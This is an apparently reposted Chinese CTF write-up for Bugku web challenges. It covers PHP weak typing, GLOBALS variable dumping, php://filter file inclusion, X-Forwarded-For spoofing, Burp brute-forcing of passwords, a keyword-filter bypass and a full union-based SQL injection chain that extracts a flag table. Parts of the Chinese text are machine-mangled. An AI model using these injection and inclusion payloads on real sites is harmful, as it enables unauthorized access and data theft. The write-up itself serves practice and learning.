bugkuCTFWEB部分WP
之前做的今天整理下 这个有点乱不建议大家参考我的wp 这个主要是本身看的。部分的我做的时候打不开就没写。
练手地点:https://ctf.bugku.com
矛盾
矛盾
考察的是PHP弱类型
首先is_numeric()函数判断是不是数字或字符串 取反则必需要输入字符串而且这个字符串还要==1 这里用到PHP弱类型对照
如:1=1aaaa 所以结构payload::8002/get/index1.php?num=1
得到flag
web3
web3
禁用JS
检察源码得到下面有被注释的HTML实体
HTML实体转换成字符得到flag
你必需让他停下
你必需让他停下
禁用JS 停下来了
一共有15张图片 不竭的浏览器刷新直到第十张图片呈现 检察源码呈现flag
或者BP repeater直到flag呈现
变量1
从题中得到代码 显示包罗了flag的php文件 显然flag就在flag1.php文件中的此中变量中 不知道变量 可以用超全局变量实现payload::8004/index1.php?args=GLOBALS
web5
web5
检察源码获得[]+等字符 复制放到js控制台回车得到ctf{whatfk}
转成大写即可
头等舱
头等舱
觉得看标题问题根http响应头有关,BP抓包 repeater检察HTTP返回头得到flag
网站被黑
网站被黑
御剑扫描得到后门大马
BP爆破得到暗码hack输入得到flag
打点员系统
打点员系统
检察源码得到base64密文解密得到test123猜度是暗码
输入显示IP被禁 BP抓包 改削XFF字段为127.0.0.1
X-forwarded-For:127.0.0.1 发送得到flag
web4
web4
检察源码得到颠末url编码的JS 解码得到本来的JS拼接
注意一共有三段 两段URL编码的JS分袂在p1和p2JS变量中
还有一段在eval()汉中里面的unescape()函数中 这段拼接在中间得到 完整JS函数 由函数得知输入相应值 即可将解码出来的值放进去即可得到flag
flag在index里
flag在index里
点了几下看url跟标题问题联想得出是文件包罗包罗index.php即可
payload::8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php
得到base64编码解码得到index.php源码 源码中有flag
输入暗码检察flag
输入暗码检察flag
BP设置五位数字爆破即可。。
点击一百万次
点击一百万次
复制原先JS吧js判断条件改成1即可然后点一次BP抓包
在包中可以看到 有个clicks=1 把1改成1000000提交得到flag
备份是个好习惯
备份是个好习惯
看到首页有一段CMD5解密得出空
猜度备份文件index.bak 或者御剑扫描得出源码
必备常识:
$_SERVER[‘REQUEST_URI‘]获取URL值
先学PHP几个函数
strstr()搜索字符串在另一字符串中的第一次呈现
substr()返回字符串的一部分()
str_replace()以其他字符替换字符串中的一些字符
原网页
代码意思是传入一个key= 即可和本来的颠末cmd5加密的相匹配即可 可是在呈现str_replace()的处所把key给滤了 所以想步伐绕过这个函数过滤即可写出kekeyy即可
payload::8002/web16/index.php?kekeyy2=
成效单
成效单
成效盘问
输入数字1,2,3试了下 能盘问到觉得像SQL注入直接上BP
测试注入
id=1‘ order by 5# id=5‘ union select 1,database(),version(),4# id=5‘union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()# id=5‘union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘fl4g‘# id=5‘union select 1,group_concat(skctf_flag),3,4 from fl4g#
最后得到flag
秋名山老司机
秋名山老司机
import requests import re url = ‘:8002/qiumingshan/‘ s = requests.Session() source = s.get(url) print source expression = re.search(r‘(\d+[+\-*])+(\d+)‘, source.text).group() #re.search(pattern,string,flags=0)扫描整个字符串并返回第一个告成的匹配 #pattern:匹配的正则表达式 #string:要匹配的字符串 #flags:标识表记标帜位,用于控制正则表达式的匹配方法 #group()匹配整个表达式字符串 print expression result = eval(expression) post = {‘value‘: result} print(s.post(url, data = post).text)
速度要快
速度要快
检察源码获得这个信息提示margin post提交
OK ,now you have to post the margin what you find
BP抓包 获得flag 头base64解码得到:
跑的还不错,,给你flag吧: MzY5Nzg1(后面的值每次都不一样)
还可以再base64解码 BP post提交不行
只能写脚本了
eg:
温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30350.html